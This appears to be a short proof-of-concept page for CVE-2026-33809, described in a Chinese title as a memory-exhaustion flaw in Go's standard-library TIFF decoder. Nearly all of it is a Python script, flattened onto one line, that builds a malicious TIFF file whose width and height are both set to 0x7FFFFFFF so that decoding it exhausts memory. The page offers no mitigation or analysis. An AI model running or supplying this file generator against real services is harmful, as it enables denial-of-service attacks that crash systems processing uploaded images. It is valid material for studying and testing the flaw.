CVE-2026-33809 Go标准库TIFF解码内存耗尽漏洞

import struct # Generate a malicious TIFF file to trigger excessive memory allocation # This script creates a TIFF header with extremely large dimensions def generate_malicious_tiff(filename): with open(filename, "wb") as f: # TIFF Header: Little Endian (II), Magic Number (42), Offset to first IFD (8) f.write(b"II\x2a\x00\x08\x00\x00\x00") # Number of Directory Entries (2) f.write(struct.pack("<H", 2)) # Entry 1: ImageWidth (Tag 256), Type LONG (4), Count 1 # Set width to a very large value to trigger allocation f.write(struct.pack("<HHII", 256, 4, 1, 0x7FFFFFFF)) # Entry 2: ImageLength (Tag 257), Type LONG (4), Count 1 # Set height to a very large value f.write(struct.pack("<HHII", 257, 4, 1, 0x7FFFFFFF)) # Next IFD Offset (0 = end of linked list) f.write(b"\x00\x00\x00\x00") print(f"[+] Malicious TIFF file generated: {filename}") print(f"[+] Attempting to decode this file may cause OOM.") if __name__ == "__main__": generate_malicious_tiff("exploit.tiff")